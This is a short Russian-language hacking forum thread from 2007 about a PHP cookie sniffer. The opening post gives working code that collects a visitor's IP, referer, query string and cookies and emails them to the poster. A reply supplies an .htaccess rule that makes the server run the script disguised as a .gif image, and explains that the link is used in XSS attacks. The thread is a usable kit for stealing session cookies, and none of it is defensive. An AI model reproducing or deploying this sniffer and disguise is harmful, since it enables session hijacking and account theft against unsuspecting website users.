Вопрос(про снифер)

Discussion in 'PHP' started by Jey, 25 May 2007.

Thread Status:
Not open for further replies.
  1. Jey

    Jey Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    83
    Likes Received:
    10
    Reputations:
    0
    Значит есть сниффер:

    PHP:
    <?
    $mymail 'mymail@mail.ru';

    $date date('d.m.y - H:i:s');
    $ip UrlDecode(getenv('REMOTE_ADDR'));
    $referer UrlDecode(getenv('HTTP_REFERER'));
    $query UrlDecode(getenv('QUERY_STRING'));
    $cookie=getenv('HTTP_COOKIE');

    mail("$mymail""Kyka npuIIIJIa"" Date and Time: $date\n IP: $ip\n Adress: $referer\n Query String: $query\n Cookie: $cookie");
    ?>
    Отправляет уведомления на Mail.
    Но путь до него получается http:/host/snif.php
    Как сделать чтоб путь был http:/host/snif.gif или http:/host/snif.jpg ?
    Знаю нужен файл в папке со снифером .htaccess, меня вот интересует его содержимое.
    Заранее спасибо всем кто поможет. Я создавал тему раньше, но поиском ее не нашол, походу ее del. Вот снова прошу помощи.
     
    #1 Jey, 25 May 2007
    Last edited: 25 May 2007
  2. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Code:
    <Files "snif.gif">
    AddType application/x-httpd-php .gif
    </Files>
    
    в гифке как сам понимаешь - твой снифер
     
    #2 darky, 25 May 2007
    Last edited: 25 May 2007
    1 person likes this.
  3. Jey

    Jey Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    83
    Likes Received:
    10
    Reputations:
    0
    Спасибо дружище =) + тебе
    Тоеть созжаю в дериктории этот файл и пропмсываю путь до картинки да ?
     
  4. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    Создаешь в дире с этим файлом .htaccess с вышесказанным содержанием, меняешь расширение snif.php на snif.gif и теперь при проведении xss используешь ссылку вида http://site.com/papka/snif.gif

    *closed
     
Thread Status:
Not open for further replies.